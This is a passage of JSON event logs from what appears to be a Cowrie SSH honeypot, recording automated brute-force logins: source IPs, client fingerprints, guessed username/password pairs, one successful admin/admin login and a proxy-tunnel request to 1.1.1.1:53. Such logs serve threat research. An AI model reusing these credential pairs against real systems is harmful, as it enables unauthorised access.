sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:43.607723Z","src_ip":"45.114.124.44","session":"3f868249a440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@123","message":"login attempt [es/es@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:44.470560Z","src_ip":"45.114.124.44","session":"3f868249a440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:45.689757Z","src_ip":"45.114.124.44","session":"3f868249a440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":48732,"dst_ip":"10.17.0.5","dst_port":22,"session":"922ec999e7e4","protocol":"ssh","message":"New connection: 200.90.8.86:48732 (10.17.0.5:22) [session: 922ec999e7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:55.148021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:55.154855Z","src_ip":"200.90.8.86","session":"922ec999e7e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:55.260681Z","src_ip":"200.90.8.86","session":"922ec999e7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:55.702814Z","src_ip":"200.90.8.86","session":"922ec999e7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:57.123778Z","src_ip":"200.90.8.86","session":"922ec999e7e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":56106,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81cc8010ca6","protocol":"ssh","message":"New connection: 5.182.83.231:56106 (10.17.0.5:22) [session: e81cc8010ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:29.065037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:29.068708Z","src_ip":"5.182.83.231","session":"e81cc8010ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:29.186195Z","src_ip":"5.182.83.231","session":"e81cc8010ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"123","message":"login attempt [travis/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:29.687492Z","src_ip":"5.182.83.231","session":"e81cc8010ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":46214,"dst_ip":"159.203.135.109","dst_port":22,"session":"035db6a1d879","protocol":"ssh","message":"New connection: 103.148.100.146:46214 (159.203.135.109:22) [session: 035db6a1d879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:30.634184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:30.639453Z","src_ip":"103.148.100.146","session":"035db6a1d879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:30.806449Z","src_ip":"5.182.83.231","session":"e81cc8010ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:30.913451Z","src_ip":"103.148.100.146","session":"035db6a1d879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234qwer","message":"login attempt [ftpuser/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:32.028590Z","src_ip":"103.148.100.146","session":"035db6a1d879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:03:33.305328Z","src_ip":"103.148.100.146","session":"035db6a1d879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":49916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5532c6b611c0","protocol":"ssh","message":"New connection: 210.90.155.178:49916 (159.203.135.109:22) [session: 5532c6b611c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:02.193479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:02.201061Z","src_ip":"210.90.155.178","session":"5532c6b611c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:02.402344Z","src_ip":"210.90.155.178","session":"5532c6b611c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy1","message":"login attempt [deploy/deploy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:03.241874Z","src_ip":"210.90.155.178","session":"5532c6b611c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:04.450137Z","src_ip":"210.90.155.178","session":"5532c6b611c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":46906,"dst_ip":"10.17.0.5","dst_port":22,"session":"d059e7c9cfe3","protocol":"ssh","message":"New connection: 45.114.124.44:46906 (10.17.0.5:22) [session: d059e7c9cfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:13.370380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:13.374719Z","src_ip":"45.114.124.44","session":"d059e7c9cfe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:13.586809Z","src_ip":"45.114.124.44","session":"d059e7c9cfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:14.471528Z","src_ip":"45.114.124.44","session":"d059e7c9cfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42224,"dst_ip":"10.17.0.5","dst_port":22,"session":"97428553ba2b","protocol":"ssh","message":"New connection: 103.153.68.219:42224 (10.17.0.5:22) [session: 97428553ba2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:14.741625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:14.747196Z","src_ip":"103.153.68.219","session":"97428553ba2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:15.001652Z","src_ip":"103.153.68.219","session":"97428553ba2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:15.695480Z","src_ip":"45.114.124.44","session":"d059e7c9cfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679q","message":"login attempt [root/134679q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:15.770481Z","src_ip":"103.153.68.219","session":"97428553ba2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:17.026747Z","src_ip":"103.153.68.219","session":"97428553ba2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":59843,"dst_ip":"10.17.0.5","dst_port":22,"session":"620b0072d4ec","protocol":"ssh","message":"New connection: 220.247.224.226:59843 (10.17.0.5:22) [session: 620b0072d4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:17.326562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:17.336341Z","src_ip":"220.247.224.226","session":"620b0072d4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:17.558207Z","src_ip":"220.247.224.226","session":"620b0072d4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qwerty","message":"login attempt [root/123456Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:18.492496Z","src_ip":"220.247.224.226","session":"620b0072d4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11690,"dst_ip":"10.17.0.5","dst_port":22,"session":"84e400087586","protocol":"ssh","message":"New connection: 87.251.64.176:11690 (10.17.0.5:22) [session: 84e400087586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:19.525836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:19.531029Z","src_ip":"87.251.64.176","session":"84e400087586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:19.629199Z","src_ip":"87.251.64.176","session":"84e400087586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:19.724791Z","src_ip":"220.247.224.226","session":"620b0072d4ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:19.927506Z","src_ip":"87.251.64.176","session":"84e400087586","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:20.025954Z","session":"84e400087586","protocol":"ssh"}
